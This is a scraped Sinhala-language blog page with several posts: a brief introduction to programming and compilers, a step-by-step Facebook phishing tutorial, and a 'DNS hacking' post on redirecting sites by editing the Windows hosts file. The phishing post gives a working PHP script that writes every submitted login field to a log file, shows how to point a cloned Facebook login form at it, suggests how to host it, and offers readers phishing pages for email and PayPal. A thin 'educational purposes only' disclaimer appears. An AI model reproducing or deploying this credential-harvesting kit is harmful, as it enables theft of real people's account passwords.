බොහෝ විට නෑ. Programming කියන්නේ ගොඩක් දුරට නිර්මාණකරණය හා තර්කානුකූලව සිතිමේ හැකියාව මත පදනම් වෙන දෙයක්. නැතුව අංක ගණිතය හා බැඳිච්ච දෙයක් නෙමේ. ඒ කියන්නේ වීජ ගණිතය වගේ දේවල් ගැඹුරින් දැන ගැනීමේ අවශ්ය තාවයක් නෑ. Programming සහ ගණිතයේ සම්බන්දය වෙන්නේ මේ තර්ක ගොඩනැගීම සහ ඉතා නිවැරදි පිලිතුරු ලබා ගැනීම යන කරුණු වලදියි. ඔයාට ඕනෙනම් Programming වලින් සංඛ්යාන විශ්ලේෂණය වගේ දේවල් සඳහා විශේෂ සංඛ්යාත්මක Program නිර්මාණය කරන්න අන්න එතනදී ගණිතයේ දැනුම වැදගත් වෙනව. එහෙම නැතුව ගණිකයේ විශේෂ හැකියාවක් අවශ්ය වෙන්නේ නෑ Programming සඳහා.</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB_wtcF6lCm87cuII-tYNcFsgLgTY0xixa5WeHnybQ5kklSRP0apFnQ2tkrkkb_RrKMlblsbBlo66RK5CKYDh2Bm_EiRZTe8Kb4vD-uFt80hIjUJLDwV2fsBEe8672YLQ3DYp5gEherid5/s1600/c++-logo.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB_wtcF6lCm87cuII-tYNcFsgLgTY0xixa5WeHnybQ5kklSRP0apFnQ2tkrkkb_RrKMlblsbBlo66RK5CKYDh2Bm_EiRZTe8Kb4vD-uFt80hIjUJLDwV2fsBEe8672YLQ3DYp5gEherid5/s1600/c++-logo.png" height="133" width="200" /></a><br />
<span style="color: #3d85c6;"><u>Programming</u></span></div>
<div style="text-align: center;">
<br />
Programming එහෙම නැත්නම් ක්රමලේඛනය කියන්නේ විධාන ලිවීමේ කලාවක් එනම් පරිඝණක වලට එම විධාන තේරුම් ගෙන ක්රියාත්මක කළ හැකි ආකාරයට. එවැනි විධාන සමූහයකට source code(ප්රබව කේතය) එකක් කියල ක්යනව. ඉතින් මේ ප්රබව කේතය තමයි programmer කෙනෙක් විසින් ලියන්නේ. </div>
<div style="text-align: center;">
<br />
<span style="color: #3d85c6;"><u>Executable</u></span></div>
<div style="text-align: center;">
<br />
Programming කියන ක්රියාවලිය අවසානයේ අපිට ලැබෙන Output එක තමයි මේ Executable file එකක් කියල කියන්නෙ. මේ executable කියන්නේ ඔයාගේ පරිඝණකයේ ක්රියාත්මක කළ හැකි file එකකට උදාහරනයක් විදිහට Windows පරිඝණකයකනම් අපි දන්නව බොහෝ විට .exe කියන Format එකෙන් තියන file එකක් තමයි අපිට ක්රියාත්මක කළ හැකි වෙන්නේ. programmer කෙනෙක් ලියන මේ source code එක පරිඝණකයේ ක්රියාත්මක වෙන්නේ නෑ ඒක Executable file එකක් බවට පත්කර ගන්න තුරු. මේ සඳහා අපිට වෙනත් Program එකක උදවු ඕන වෙනව ඒ තමයි Compiler කියන Program එක. ඉතිං මේ Compiler එකක් නැතුව කොහෙත්ම source code එකක් පරිඝණකයේ ක්රියාත්මක කළ හැකි Executable file එකක් බවට පත් කරන්න බෑ. තව දෙයක් තමයි මේ Compiler එකකින් කරන්නේ source code එකක් කෙලින්ම Executable file එකක් බවට පරිවර්තණය කිරීමක් නෙමෙයි, source code එකේ ඇතුලත් වන විධානයන් අනුගමනය කරමින් වෙනමම Executable file එක නිර්මාණය කිරීමයි. කිසි විටක Executable file එකෙන් නැවත source code එකක් එලියට ගන්න බෑ.</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
හොඳයි අපි ඊලඟ පාඩමෙන් බලමු කොහොමද windows සඳහා programming පසුබිම සකසා ගන්නේ කියල.</div>
Anonymoushttp://www.blogger.com/profile/07265846950157282766noreply@blogger.com1Sri Lanka7.8730539999999989 80.7717969999999923.8497194999999991 75.608223 11.896388499999999 85.935370999999989tag:blogger.com,1999:blog-1015943570259670143.post-87323192100164715222014-05-29T22:02:00.000+05:302014-05-29T22:02:01.325+05:30එන්න මාළු බාන්න.. Phishing attacks 1<div style="text-align: center;">
<b>Phishing</b> කිවුවහම ඉතින් නොයෙකුත් ආකාරයේ <b>Phishing</b> ක්රම අද ලෝකයේ බාවිතා වෙනව. මේවයින් හොඳම ක්රම කීපයක් ගැන තමයි අපි අද කතා කරන්න යන්නේ.</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
මුලින්ම මොකද්ද මේ <b>Phishing</b> කියන්නේ කියල බලමු. <b>Phishing</b> කියන්නේ යම් පුද්ගලයෙක්ව යම් කිසි ඇමක් බාවිතා කරල යම් රැවටීමකට භාජනය කිරීමයි. මේ දෙය බොහෝවිට Facebook, email, pay-pall වගේ වෙබ් අඩවි වල <span style="color: blue;">Usernames</span> සහ <span style="color: blue;">Password</span> ලබා ගැනීමට යොදා ගන්නව. ඉතින් මේකට අපිට මුලින්ම ඔන කරනව අදාල වෙබ් අඩවියේ <span style="color: #cc0000;">fake login page</span> එකක්. අපි බලමු කොහොමද ඒ fake login page එක හදාගන්නේ කියල.</div>
<div style="text-align: center;">
<br />
<u><b>Facebook fake login page එකක් සාදා ගන්නා ආකාරය.</b></u></div>
<div style="text-align: center;">
<br />
මුලින්ම <a href="http://www.facebook.com/">www.facebook.com</a> අඩවියට ඇතුල් වෙලා එහි login page එක පරිඝනකයට බාගත කරගන්න ඕනේ. එක කරන්නේ මෙහෙමයි.</div>
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCTIP3uTmrOKkfOtIRxg4wUwRCayL6tx0ddilGd28-cgogeEzmB4U3ZrTekQmYxDBXd1VIqai6TBBJWxqfFqd8uLzZlfIzawT2zukPcY6oCYSBIhpbv9uOZxtLnuuWCIg5MhsTcZcu07zi/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCTIP3uTmrOKkfOtIRxg4wUwRCayL6tx0ddilGd28-cgogeEzmB4U3ZrTekQmYxDBXd1VIqai6TBBJWxqfFqd8uLzZlfIzawT2zukPcY6oCYSBIhpbv9uOZxtLnuuWCIg5MhsTcZcu07zi/s1600/1.png" height="240" width="320" /></a><br />
<span style="color: #666666;">go to facebook.com > right click > view page source</span></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
</div>
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgK8MBhvYeQ2NiQs2AqdJ2F7MhoTBTl06TZxybJBYXRdFRERoPKmaPFEXEum1KrzFTo4r-Yt_xEd5HTyr-jety5tnOv6sM0jIfJvIp0Cfli7FkaycrZ4_QJMRTLm933XTQP6Nax6q3ko3HD/s1600/2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgK8MBhvYeQ2NiQs2AqdJ2F7MhoTBTl06TZxybJBYXRdFRERoPKmaPFEXEum1KrzFTo4r-Yt_xEd5HTyr-jety5tnOv6sM0jIfJvIp0Cfli7FkaycrZ4_QJMRTLm933XTQP6Nax6q3ko3HD/s1600/2.png" height="240" width="320" /></a><br />
<span style="color: #666666;">select all > copy</span></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
</div>
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNf6umnmBuRvZPJRbwtlY6YuxAQNayNFdOXGWuMhk7kpuzWkUHYb30wsGjfqoqVEMnvj5CZsW3sc7pKKwYNJqId5Es2mqp_GAd5gkinu4kuxGwkdsfDm6cHEbsAxpgRXldhUogAm7wKGeq/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNf6umnmBuRvZPJRbwtlY6YuxAQNayNFdOXGWuMhk7kpuzWkUHYb30wsGjfqoqVEMnvj5CZsW3sc7pKKwYNJqId5Es2mqp_GAd5gkinu4kuxGwkdsfDm6cHEbsAxpgRXldhUogAm7wKGeq/s1600/3.png" height="240" width="320" /></a><br />
<span style="color: #666666;">open notpad > paste</span></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
</div>
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEix5izVtHE2tozvwgCypqTqYiZrmyOoXW9QG1x-a0wP4uq8TWM6d9Xyhmnn76kOYKiF4XZa0E9Q_xzeUUUSugq0Uk604-h1ktvcqwD7IjDEY_ODbh-kBLrtCUi2YIC0hyVoutId8yOOiFVM/s1600/4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEix5izVtHE2tozvwgCypqTqYiZrmyOoXW9QG1x-a0wP4uq8TWM6d9Xyhmnn76kOYKiF4XZa0E9Q_xzeUUUSugq0Uk604-h1ktvcqwD7IjDEY_ODbh-kBLrtCUi2YIC0hyVoutId8yOOiFVM/s1600/4.png" height="240" width="320" /></a><br />
<span style="color: #666666;">file > save as</span></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
</div>
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmbrVxHsO6hUXtbTB7v5_O1KyH79w0mkQyf6kLUevnUjx_kMneBOVEa-GG80czFKHJjloAeQ3psEskvS1Ymj83MrMlKY4ndbNVmOng11-RtaiUqw6MJkjIkXDTcBYugLVGjYRbTQ9yNqfc/s1600/7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmbrVxHsO6hUXtbTB7v5_O1KyH79w0mkQyf6kLUevnUjx_kMneBOVEa-GG80czFKHJjloAeQ3psEskvS1Ymj83MrMlKY4ndbNVmOng11-RtaiUqw6MJkjIkXDTcBYugLVGjYRbTQ9yNqfc/s1600/7.png" height="240" width="320" /></a><br />
<span style="color: #666666;">File name : <span style="color: red;">index.htm</span><br />Save as type : <span style="color: red;">All files</span><br />Encoding : <span style="color: red;">Unicode</span></span></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
</div>
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMt7rQ7W1vN2LWK88UJrEvtJDg3iG9mUsNTt5J0JSzuA3ZUzqkYskkxdgKdkrW1S0qI6KGkORC2Vzo8uS66RooRnEeq7h6l8oBwa6F84H4BJ7iYnUR6yVadVxdBcUTA8XCHA5oYvkcJXi4/s1600/8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMt7rQ7W1vN2LWK88UJrEvtJDg3iG9mUsNTt5J0JSzuA3ZUzqkYskkxdgKdkrW1S0qI6KGkORC2Vzo8uS66RooRnEeq7h6l8oBwa6F84H4BJ7iYnUR6yVadVxdBcUTA8XCHA5oYvkcJXi4/s1600/8.png" height="240" width="320" /></a><br />
<span style="color: #666666;">save</span></div>
<div style="text-align: center;">
<br />
දැන් ඔයාල save කරගත්තු file එක open කරොත් ඔයාලට බලාගන්න පුළුවන් සම්පූර්න <span style="color: blue;">login page</span> එකක් නිර්මානය වෙලා තියන ආකාරය.<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqbCViaJ8WV5sYOFopas8HWCM100rPSgx6Ukx-ITe1Mi6Qp9CfPcWjkYllQ1fmmty0NR4b8LYPz0STJba6QDo6l3fPxNO7DS47VWGc5NFffE2P6A9AuG9LqJlqr1JK-dEHwRS3gPpeJhPJ/s1600/Capture.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqbCViaJ8WV5sYOFopas8HWCM100rPSgx6Ukx-ITe1Mi6Qp9CfPcWjkYllQ1fmmty0NR4b8LYPz0STJba6QDo6l3fPxNO7DS47VWGc5NFffE2P6A9AuG9LqJlqr1JK-dEHwRS3gPpeJhPJ/s1600/Capture.JPG" height="230" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="" style="clear: both; text-align: center;">
ඊලඟට තවත් file එකක් මේ සඳහා අපි නිර්මානය කර ගන්න ඕනේ ඒ තමයි login.php file එක. ඒ සඳහා මුලින්ම පහත code එක copy කරගන්න. (code එක select කර ctrl + c ඔබන්න)</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6dnA3ENnpCtUNuS95LP8TGuaGL8nAYmPMmEZX2F6iOpcb45NbFOwEm_ZF8eHKRox5_6jeGHW4yM0R4hyphenhyphenuc87qV2V3Ph6eeqduQcQYB8r3J50hcI5AUc6_9L_As2w0NDWFlFzghQIUljA/s1600/ctrl-c-hi.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6dnA3ENnpCtUNuS95LP8TGuaGL8nAYmPMmEZX2F6iOpcb45NbFOwEm_ZF8eHKRox5_6jeGHW4yM0R4hyphenhyphenuc87qV2V3Ph6eeqduQcQYB8r3J50hcI5AUc6_9L_As2w0NDWFlFzghQIUljA/s1600/ctrl-c-hi.png" height="62" width="200" /></a> </div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div style="text-align: left;">
<blockquote class="tr_bq">
<div class="separator" style="clear: both; text-align: left;">
<span style="font-family: Georgia, 'Times New Roman', serif;"><?php</span></div>
<span style="font-family: Georgia, 'Times New Roman', serif;">header ('Location: http://www.facebook.com');</span><br />
<span style="font-family: Georgia, 'Times New Roman', serif;">$handle = fopen("log.txt", "a");</span><br />
<span style="font-family: Georgia, 'Times New Roman', serif;">foreach($_POST as $variable => $value) {</span><br />
<span style="font-family: Georgia, 'Times New Roman', serif;"> fwrite($handle, $variable);</span><br />
<span style="font-family: Georgia, 'Times New Roman', serif;"> fwrite($handle, "=");</span><br />
<span style="font-family: Georgia, 'Times New Roman', serif;"> fwrite($handle, $value);</span><br />
<span style="font-family: Georgia, 'Times New Roman', serif;"> fwrite($handle, "\r\n");</span><br />
<span style="font-family: Georgia, 'Times New Roman', serif;">}</span><br />
<span style="font-family: Georgia, 'Times New Roman', serif;">fwrite($handle, "\r\n");</span><br />
<span style="font-family: Georgia, 'Times New Roman', serif;">fclose($handle);</span><br />
<span style="font-family: Georgia, 'Times New Roman', serif;">exit;</span><br />
<span style="font-family: Georgia, 'Times New Roman', serif;">?></span></blockquote>
<div style="text-align: center;">
Notepad එකකට මේ code එක paste කරල login.php කියන නමින් save කරන්න. ආ.. මට අමතක උනා ඔයා අර හදා ගත්තු index.htm file එක right click කරල notepad එකෙන් open කරන්නකෝ. දැන් ctrl + f ඔබල action කියල ගහල පොඩි <span style="color: red;">පයින්</span> පාරක් දෙන්න (find). </div>
<div style="text-align: center;">
දැන් ඔයාලට ලැබෙයි මේ වගේ line එකක්.</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<span style="color: blue;">action="https://www.facebook.com/login.php?login_attempt=1"</span> </div>
<div style="text-align: center;">
ලැබුන් නැත්නම් කොහොම හරි හොයා ගන්න වෙනව ඈ. (තුන් හතර පාරක් find ඔබන්න)</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
දැන් මේ රතු පාටින් පෙන්නන කොටස login.php කියල වෙනස් කරන්න.</div>
<div style="text-align: center;">
action="<span style="color: red;">https://www.facebook.com/login.php?login_attempt=1</span>"</div>
<div style="text-align: center;">
මෙන්න මේ විදිහට.</div>
<div style="text-align: center;">
action="<span style="color: blue;">login.php</span>"</div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
දැන් save කරන්න. ඔන්න ඔයාගෙ <b>Facebook fake login page</b> එක හදල ඉවරයි.<br />
මට මේක හදල ඔයාලට Download කරගන්න දෙන්න තිබ්බ නමුත් ඊට වඩා වටිනව ඔයාලම මේක කරල බලල තේරුන් ගන්න එක ඒ හින්දයි step by step fake login page එක හදන හැටි දැම්මෙ</div>
<div style="text-align: center;">
දැන් <span style="color: blue;">index.htm</span> file එකයි <span style="color: blue;">login.php</span> file එකයි එකම ෆොල්ඩර් එකකට දාල පැත්තකින් තියන්න. <br />
<br /></div>
<div style="text-align: center;">
අපි දැන් ඇම හදල ඉවරයි ඊලඟට තියෙන්නේ ඇම දාල මාළුවෙක් අල්ල ගන්න තමා. බලමු කොහොමද මේ ඇම දාන්නේ කියල.<br />
මේකට ලේසිිම ක්රමය තමා අපි හදා ගත්තු file 2 hosting site එකකට upload කරල දාන එක. ඒක කරන්නේ මෙහෙමයි.<br />
මුලින්ම ඔයාලට Hosting space එකක් තියනවනම් තමයි ගොඩක් හොඳ. එහෙම නැත්නම් හොඳ free hosting space දෙන site එකක Register වෙන්න වෙනව. ඒ කරල index.htm එකයි login.php එකයි site එකට upload කරල ඔයාලට පුළුවන් fake page එක view කරන්න.<br />
<br />
නමුත් කියන්න ඔනේ මේ hosting site එකකට upload කරල දාන ක්රමය එතරම්ම සාර්තක නෑ ඒ හින්දයි මං මේ ගැන ගොඩක් විස්තර කරන්න යන්නේ නැත්තේ. ඒ මොකද මේ ක්රමයට ඔයාලගේ Phishing page එකට victimsල ගන්න අමාරුයි.<br />
සහ මේ ක්රමය DNS සමග සම්බන්ද වෙන්නෙත් නෑ. <br />
ඉතින් කොහොමද මේක හරියට කරන්නේ කියනවනම්. Advance Phishing ක්රමයක් විදිහට අපිට පුළුවන් Desktop Phishing කියන ක්රමයට යන්න. මෙහිදී සිදුවන්නේ ඔයාල හදාගත්තු Phishing page එක ඔයාලගේ පරිඝනකය හරහාම host කරන එකයි. ඊලඟ post එකෙන් කියල දෙන්නම් කොහොමද මේ Desktop Phishing ක්රමයට මේක කරන්නේ කියල.<br />
<br />
<span style="color: red;"><span style="background-color: white;"><b><span class="Apple-style-span"><span class="Apple-style-span" style="font-family: Georgia,'Times New Roman',serif;">Note:
Hacking is a crime. Dont use this tutorial to hack innocent people. I
am teaching it for educational purpose only. rooth4ck3r.blogspot.com will not be responsible
for any damage done by you.</span></span></b></span></span><br />
<br />
<span style="color: red;"><span style="background-color: white;"><span class="Apple-style-span"><span class="Apple-style-span" style="font-family: Georgia,'Times New Roman',serif;"></span></span><b><span class="Apple-style-span"><span class="Apple-style-span" style="font-family: Georgia,'Times New Roman',serif;"> </span></span></b></span></span> Phishing page එක හදනකොට ඔයාලට මොකක් හරි ගැටළුවක් ආවොත් Comment එකකින් ඒ ගැන අහන්න සහ ඔයාලට වෙන්ත් email, pay-pall වගේ site වල Phishing page ඕනෙනම් ඉල්ලන්න.<br />
<br />
<em></em></div>
</div>
</div>
Anonymoushttp://www.blogger.com/profile/07265846950157282766noreply@blogger.com3Sri Lanka7.8730539999999989 80.7717969999999923.8497194999999991 75.608223 11.896388499999999 85.935370999999989tag:blogger.com,1999:blog-1015943570259670143.post-13878534476163538082014-04-28T01:05:00.000+05:302014-05-29T15:22:43.376+05:30DNS Hacking<div style="text-align: center;">
මේ පෝස්ටුවෙන් විස්තර කරන්නේ මොකද්ද මේ DNS හා කොහොමද <b>DNS Attacks</b> එකක් ක්රියාත්මක කරන්නේ කියලා. මුලින්ම අපි බලමු මොකක්ද මේ DNS කියන්නේ කියල. <b>අන්තර්ජාලය සමග තදින්ම බැඳී පවතින දෙයක් තමයි මේ DNS.</b> යම් පරිඝනකයකට වෙබ් ලිපිනයක් ඇතුල් කරල ඒ අදාල web site එකට යාමේදි වෙබ් ලිපිනය ඇතුල් කළ අවස්තාවෙ ඉඳල අදාල web site එක එම පරිඝනකයේ දිස්වන අවස්තාව දක්වා කාලය තුල තමයි මේ DNS මැදිහත් වීම සිද්ද වෙන්නේ. ඒ කොහොමද කියනවා නම් ඔබේ පරිඝනකය ඇතුලු අන්තර්ජාලයේ තියන සෑම පරිඝනකයක්ම මේ web site වල ලිපිනයන් (උදා <a href="http://www.facebook.com/">www.facebook.com</a> ) හඳුනන්නේ නෑ ඒ මොකද සෑම web site එකකටම එයට ආවේනික වු ip ලිපිනයක් (උදා <a href="http://31.13.79.144/">31.13.79.144</a> ) තියනවා ඒ ip ලිපිනය මගින් තමයි පරිඝනකය අදාල web site එක හඳුන ගන්නේ. <b>නමුත් මිනිසුන්ගේ පහසුවට වෙබ් ලිපින බාවිතා කරන නිසා.</b> අපි වෙබ් ලිපිනයක් ඇතුලත් තළ විට DNS මගින් ඒ වෙබ් ලිපිනයට අදාල IP ලිපිනයට අපේ පරිඝනකය යොමු කරීම තමයි මේ DNS මගින් සිදුකරනු ලබන්නේ. </div>
<div style="text-align: center;">
<br />
ඉතිං මං කලින් කිවුව වගේ පරිඝනක වෙබ් ලිපින හඳුනන්නේ නෑ ඒ දේ ප්රයෝජනයට අරන් තමයි මේ <b>DNS Hack</b> කිරීමක් කරන්න පුළුවන් වෙන්නේ. අපි බලමු කොහොමද ඒක කරන්නේ කියල.</div>
<div style="text-align: center;">
<br />
ඔයා ඔයාගේ පරිඝනකයට යම් වෙබ් ලිපිනයක් ඇතුල් කරනව කියල හිතමු. එහිදී යම් පිලිවලකට තමයි ඒ ඇතුලත් කල වෙබ් ලිපිනයට අදාල ip ලිපිනය සොයා ගන්නේ. එහිදි ඕනෑම පරිඝනකයක තියනව <span style="color: #666666;">(TCP/IP Method එක බාවිතා කරන - TCP/IP ගැන පස්සේ පාඩමකින් කියල දෙන්නම් ඈ)</span> <b>Hosts</b> කියල system file එකක් ඉතිං අපි ඇතුලත් කළ වෙබ් ලිපිනයට අදාල ip ලිපිනය මුලින්ම පරිඝනකය හොයන්නේ මේ Hosts File එකේ. hosts එක කියනවනම් අපි ඇතුලත් කරපු වෙබ් ලිපිනයේ ip ලිපිනය 10.1.10.1 කියල කිසි කතාවක් නෑ පරිඝනකය ඒක පිලිගන්නව. windows වල නම් මේ hosts file එක තියෙන්නේ <b><span style="color: #cc0000;">C:\Windows\System32\Drivers\etc</span></b> වල. හරි අපි හිතමු අපි ඇතුලත් කළ වෙබ් ලිපිනයේ ip ලිපිනය මේ hosts file එකේ නෑ කියල. ඊළඟට පරිඝනකය ip ලිපිනය හොයන්න යොමුවෙන්නේ Local DNS එකට. ඉතික් මේ local dns එක බොහෝ විට ඔයාගෙ DSL modem එක නැත්තන් wifi router එක එහෙමත් නැත්නම් ඔයාට පොඩි Network එකක් තියනවනම් ඒකෙ server machine එක වෙන්න පුලුවන්. මේ local dns එකෙත් ip ලිපිනය හොයාගන්න බැරි වුනොත් ඊලඟට යනව Public dns එකට. </div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
ඉතින් මේ විදිහට තමයි DNS ක්රියාවලිය සිද්ද වෙන්නේ.<br />
ඉතිං මේ DNS Hack කිරීමකදි සිදු කරන්නේ hosts file එක වෙනස් කිරීමක්. ඒ කියන්නේ අපිට පුලුවන් www.facebook.com කියන වෙබ් ලිපිනයේ ip ලිපිනය විදිහට වෙනත් ip ලිපිනයක් ලබා දෙන්න උදා 127.0.0.1 කියන ip ලිපිනය ලබාදුන්න කියල හිතන්නකෝ. ඊලඟ අවස්තාවේ පරීඝනකයට www.facebook.com කියන වෙබ් ලිපිනය ඇතුල් කරහම පරිඝනකය මුලින්ම hosts file එකේ මේ වෙබ් ලිපිනයට අදාල ip ලිපිනය හොයනව එතනදි hosts file එක කියනවනම් මේ වෙබ් ලිපිනයට අදාල ip ලිපිනය 127.0.0.1 කියල පරිඝනකය කොහෙත්ම එතනින් එහාට local dns එකටවත් public dns එකටවත් යන්නේ නෑ hosts එකෙන් දෙන ip ලිපිනය පිලිගන්නවා. </div>
<div style="text-align: center;">
<br />
හොඳයි අපි බලමු windows පරිඝනකයක කොහොමද මේ hosts file එක වෙනස් කරන්නේ කියල. <b>මුලින්ම කියන්න ඕනෙ මේක කරන්න නම් අනිව Administrator Account එකකින් log වෙලා ඉන්න ඕනෙ.</b> </div>
<div style="text-align: center;">
</div>
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEind0BU04LQYVrst6l-lKVBrYGNF3uYaplqgXoE1lxlPdpKHVIPAACJXOcnr6wZxc3ZQK4T4ha4TegGRslhnIL_8ezxkHkxCAgvc4EeocdvoAtPU41f9hgNTHcligWHMwKdg-UKwObMgoFG/s1600/PATH.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEind0BU04LQYVrst6l-lKVBrYGNF3uYaplqgXoE1lxlPdpKHVIPAACJXOcnr6wZxc3ZQK4T4ha4TegGRslhnIL_8ezxkHkxCAgvc4EeocdvoAtPU41f9hgNTHcligWHMwKdg-UKwObMgoFG/s1600/PATH.JPG" height="68" width="320" /></a><br />
<b>මෙන්න මේ තැන තමයි hosts file එක තියෙන්නේ.</b></div>
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFSa73wZVQfaBeF9V7BNdi1lioKsqkMD3XvberSKfN_R41tz59hH3L92862SPoi7bXMmHv0JDVZL3ksZ4NXHNmby6xEqtQxj4J_mSctLvZ69_kVgrhVPFjzU20zr8qf-sj0zP6605IRkzZ/s1600/WINDOW.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFSa73wZVQfaBeF9V7BNdi1lioKsqkMD3XvberSKfN_R41tz59hH3L92862SPoi7bXMmHv0JDVZL3ksZ4NXHNmby6xEqtQxj4J_mSctLvZ69_kVgrhVPFjzU20zr8qf-sj0zP6605IRkzZ/s1600/WINDOW.JPG" height="240" width="320" /></a> </div>
<div style="text-align: center;">
<b>අපිට පුලුවන් මේක right click කරලා open with > notepad දෙන්න.</b></div>
<div style="text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiy5fW7TQEmZ92q82UY7Sm2tOrR8_cJSHniQaogHQOoMYZMPZz4k5fINjnElJLCsjC1NNwvbfeJnSlePqCe11B2aeiumAbJabvCK2eWXm9iI1MwGkIqVVeh3hQFrQ0hQy7bluyfPds8WS4g/s1600/http___makeagif.com__media_4-27-2014_mo3jq_.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiy5fW7TQEmZ92q82UY7Sm2tOrR8_cJSHniQaogHQOoMYZMPZz4k5fINjnElJLCsjC1NNwvbfeJnSlePqCe11B2aeiumAbJabvCK2eWXm9iI1MwGkIqVVeh3hQFrQ0hQy7bluyfPds8WS4g/s1600/http___makeagif.com__media_4-27-2014_mo3jq_.gif" height="239" width="320" /></a><br />
<b>එතකොට මෙන්න මෙහෙම එකක් තමයි දකින්න ලැබෙන්නේ.</b></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxeNGJgA0gT5cysR4aJE4b5TfBYO5I4kORiwonrnfVshdyjbsQmmgRqasQ_ZF2mzkjiNYZJzA-bXjus_OWIIHc2YYo4ru3c524TvqbzhmDvoUp_1VLRUF-_TgmzBgG3atukeHpypxrSMWR/s1600/HOSTS4.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxeNGJgA0gT5cysR4aJE4b5TfBYO5I4kORiwonrnfVshdyjbsQmmgRqasQ_ZF2mzkjiNYZJzA-bXjus_OWIIHc2YYo4ru3c524TvqbzhmDvoUp_1VLRUF-_TgmzBgG3atukeHpypxrSMWR/s1600/HOSTS4.JPG" height="218" width="320" /></a></div>
<div style="text-align: center;">
ඉතින් මේ file එකේ තියන 127.0.0.1 localhost කියන තැනට යටින් තමයි අපිට ඕන කරන ip ලිපිනය හා වෙබ් ලිපිනය දෙන්න ඕනේ. <b>මෙන්න මේ විදිහට තමයි hosts file එක වෙනස් කරහම පෙනෙන්නේ.</b></div>
<div class="separator" style="clear: both; text-align: center;">
